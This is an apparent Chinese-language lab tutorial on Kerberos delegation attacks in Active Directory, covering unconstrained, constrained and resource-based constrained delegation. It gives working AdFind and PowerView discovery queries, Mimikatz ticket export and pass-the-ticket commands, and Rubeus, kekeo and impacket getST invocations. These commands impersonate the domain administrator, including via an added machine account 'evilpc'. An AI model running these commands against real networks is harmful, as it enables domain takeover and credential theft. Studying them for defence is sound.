Kerberos委派攻擊

域委派

就是指將域內用戶的權限委派給服務賬號，使得服務賬號能以用戶的權限在域內展開活動。

在域中一般只有主機賬號和服務賬號才具有委派屬性

• 主機賬號：主機賬號就是AD(活動目錄)中Computers中的計算機賬號
• 服務賬號：一般都是起啥服務所用到的賬號，啥apache iis sqlserver 很常見，也可以將域用戶通過注冊SPN成為服務賬號

域委派一般分為：非約束委派(Unconstrained delegation) 和 約束委派(Constrained delegation)

非約束委派(Unconstrained delegation)

一個用戶可以訪問SPN指定的Server A、Server B服務，用戶請求Server A成功后，A會在驗證ST(Server Ticket)的時候獲取TGT，並存在內存中。假如我們獲得了Server A的權限，我們就可以模擬用戶身份去請求Server B了。

整體的流程也就是：
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a?redirectedfrom=MSDN

一共16步

1. 用戶通過發送KRB_AS_REQ消息向KDC進行身份驗證，並請求可轉發的TGT
2. KDC返回一個可轉發的TGT
3. 用戶根據上一個步驟得到的TGT，請求轉發TGT；KRB_TGS_REQ
4. KDC為用戶返回一個轉發的TGT
5. 用戶使用步驟2得到的TGT向Server 1請求ST；KRB_TGS_REQ
6. TGS返回一個ST
7. 用戶通過KRB_AP_REQ向Server 1發送請求，提供：ST，TGT，Session Key
8. Server 1使用用戶轉發的TGT並將其中KRB_TGS_REQ中發送到KDC，以用戶的名義請求到Server 2的ticket
9. KDC返回Server 2的Ticket，以及Server 1可使用的Session Key返回給Server 1，ticket將客戶端標識的是用戶，而不是Server 1；KRB_TGS_REP
10. Server 1作為用戶向Server 2發送請求；KBR_AP_REQ
11. server 2響應
12. 通過響應，服務1可以響應步驟7的用戶請求
13. 轉發委托機制不限制server 1對轉發的TGT使用！可以以用戶的名義向KDC索取任何其他服務的ticket！
14. KDC返回請求的Ticket
15. Server 1可以繼續使用服務 N 冒充用戶
16. Server N響應

后面其實就無所謂了

約束委派(Constrained delegation)

微軟意識到非約束委派不安全后，就產生了約束委派，增加了一組一些拓展：S4U2SLEF和S4U2PROXY。配置它后，約束委派將限制指定服務器可以代表用戶執行的服務。需要SeEnableDelegation，一般在域管身上

S4U2self：使得Server可以代表用戶獲得針對服務自身的ST。這使得服務可以獲得用戶的授權(可轉發的用戶ST票據)，然后將其用於后期的認證(主要是后期的s4u2proxy)，這是為了在用戶以不使用 Kerberos 的方式對服務進行身份驗證的情況下使用(在其 userAccountControl設置了TRUSTED_TO_AUTH_FOR_DELEGATION字段時)

s4u2proxy： 使得Server 1可以使用來自用戶的授權( 在S4U2SELF階段獲得)，然后用該獲得的ST(放在AddtionTicket里面)向KDC請求訪問Server 2的ST，並且代表用戶訪問Server 2，而且只能訪問Server 2(所以相較於非約束委派，約束委派最大的區別也就是配置的時候選擇某個特定的服務，而不是所有服務。)

簡單總結：S4U2self：檢查合法性；S4U2Proxy：不允許請求其他Server

但是好像有很多被誤解的特性.. 可以查看
https://www.cnblogs.com/backlion/p/10537813.html

整體流程也就是：

1. 用戶向Server 1發出請求，用戶已通過身份驗證，但服務沒有用戶的授權數據。(通過Kerberos以外的認證)
2. Server 1已經得到了用戶訪問服務1的TGT，接下來通過S4U2self擴展模擬用戶向KDC請求ST
3. KDC 返回一個用於驗證Server 1的ST，就好像它是用用戶自己的TGT向用戶請求的一樣。
4. Server 1使用上一步的ST響應用戶請求
5. 用戶再次向Server 1發起請求，委派Server 1訪問Server 2，條件是Server 1驗證通過且有有效的TGT，以及Server 1有用戶到Server 1的可轉發ST(ST1)
6. Server 1代表用戶通過S4U2Proxy拓展請求KDC返回一個用於驗證Server 2的ST(ST2)
7. KDC驗證PAC的簽名數據，如果成功返回ST2
8. Server 1使用ST2請求Server 2；Server 2判斷此用戶是否經過KDC驗證，依據為ST2中的cname和crealm標識
9. Server 2響應Server 1的請求
10. Server1響應消息5的請求

我對約束委派的理解是：假冒其他用戶准確的訪問那個服務（也就是委派那里配置的），設置委派的那個賬戶 可對受害服務訪問（假冒了administrator），生成st，最后導入st獲得訪問對應服務的權限。將主要是SPN 設置為 msds-allowedtodelegateto 的機器或用戶帳戶可以假冒成任何他們希望成為的目標服務 SPN 。因此，如果你能夠拿到其中一個帳戶的權限，就可以欺騙對目標 SPN 的特權訪問。

基於資源的約束委派

RBCD
這種約束委派的風格與傳統約束委派非常相似，但配置相反。從帳戶A到帳戶B的傳統約束委派在msDS-AllowedToDelegateTo屬性中的帳戶A上配置，並定義從A到B的“傳出”信任；但基於資源的約束委派是在B中配置添加A；不需要SeEnableDelegation 特權(一般只有域管有)

配置環境

1. 創建SPN
   Setspn -s http/IIS-2008.muxue.com muxue\iis
Setspn -s http/IIS-2008.muxue.com IIS-2008$

2. 信任此用戶作為任何服務的委派
   

發現域中委派的用戶和計算機

原理

1. 當服務賬號或者主機被設置為非約束性委派時，其userAccountControl屬性會包含TRUSTED_FOR_DELEGATION
2. 當服務賬號或者主機被設置為約束性委派時，其userAccountControl屬性包含TRUSTED_TO_AUTH_FOR_DELEGATION，且msDS-AllowedToDelegateTo屬性會包含被約束的服務

非約束性委派

約束性委派

查找

非約束委派

一般用ADFind和powerview
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
https://www.joeware.net/freetools/tools/adfind/

AdFind

探測用戶
AdFind.exe -b "DC=muxue,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

探測主機
AdFind.exe -b "DC=muxue,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

PowerView

探測用戶
Get-NetUser -Unconstrained -Domain qiyou.com |select name

探測主機
Get-NetComputer -Unconstrained -Domain muxue.com

約束委派

AdFind

探測用戶
AdFind.exe -b "DC=muxue,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

PowerView

尋找配置了約束委派的用戶

Import-Module .\powerview.ps1;
Get-DomainUser -TrustedToAuth -Domain muxue.com | select name

利用

非約束委派的利用

DC：Windows Server 2012
Domain Computer：Windows Server 2009
域管：administrator
域用戶：muxue

1. 尋找非約束委派的機子

沒有權限

2. 查看tgt

請求的目標需要開啟服務 我這里測試的是 要不然會

獲取域管TGT
Enter-PSSession -ComputerName IIS-2008

查看TGT

導出TGT
mimikatz "privilege::debug" "sekurlsa::tickets /export" "exit"

導入票據

新開個cmd導入票據；也可以利用打印機服務(SpoolSample,Rubeus)攻擊

約束委派的利用

先修改成約束委派

1. 尋找約束委派的用戶

2. 請求tgt

rubeus.exe tgtdeleg

3. 模擬ST

Rubeus.exe s4u /ticket:code /impersonateuser:administrator /domain:muxue.com /msdsspn:cifs/iis-2008.muxue.com /dc:dc.muxue.com /ptt

上面那款工具可以，接着用的是kekeo，還有impacket的getST

tgt::ask /user:iis /domain:muxue.com /password:xxxx

tgs::s4u /tgt:上面生成的那個票據的名字 /user:[e-mail] /service:cifs/dc.muxue.com

// 然后使用mimikatz進行ptt
mimikatz "kerberos::purge" "kerberos::ptt 有個帶cifs的那個tgs(st2)" "exit"

但是我不曉得多少分鍾后就失效了，聽安牛說是10-15分鍾,但是我在下面用getst的時候 半小時的票據還可以用..; 很迷這個問題 我也不知道為啥

還有impacket的
先申請ST
python3 getST.py -spn cifs/dc.muxue.com/ 'muxue/iis:Web123456!' -impersonate Administrator -dc-ip 10.10.0.100

然后需要轉換st
https://github.com/Zer1t0/ticket_converter

直接mimikatz

基於資源的約束委派

只要有寫入ace權限就可以，為啥很多人拿加域賬號打 就是因為有寫入權限
所以我們可以設置msDS-AllowedToActOnBehalfOfOtherIdentity來打基於資源的約束委派等**

有*GenericAll/GenericWrite/WriteDacl/WriteProperty/ 一種權限就可以實現約束委派，由於都是設置屬性值，這里我就直接用加域用戶(有寫入權限)來測試了

addUser qwer123!

查看誰對他有寫入權限

Get-ObjectAcl -SamAccountName win7 -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*write*"}

當然也可以尋找加域賬號

嘗試和win7建立ipc鏈接，可以建立 但沒有權限

我們需要添加一個機器用戶，因為需要用機器用戶去申請票據，本身的win7機器賬戶我們不知道他的密碼所以無法申請票據，所以我們需要添加一個機器用戶，用來幫助我們申請票據

檢查 msds-allowedtoactonbehalfofotheridentity的值

Get-NetComputer win7 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

然后增加機器用戶

成功使用addUser用戶創建evilpc

因為是addUser用戶把win7加入到域中，所以擁有寫權限 創造了一個屬性是msDS-AllowedToActOnBehalfOfOtherIdentity值為evilpc的object-id

然后我們就可以去生成票據了，正好今天rebeus 2.0出來了，剛編譯好 就用它來生成票據了

Rubeus.exe hash /user:evilpc /password:123456 /domain:muxue.com		// 獲取hash
Rubeus.exe s4u /user:evilpc /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrator /msdsspn:cifs/win7.muxue.com /ptt		// 申請票據並導入

當然也可以用impacket的getST來獲取票據，然后利用mimikatz來Pass The Ticket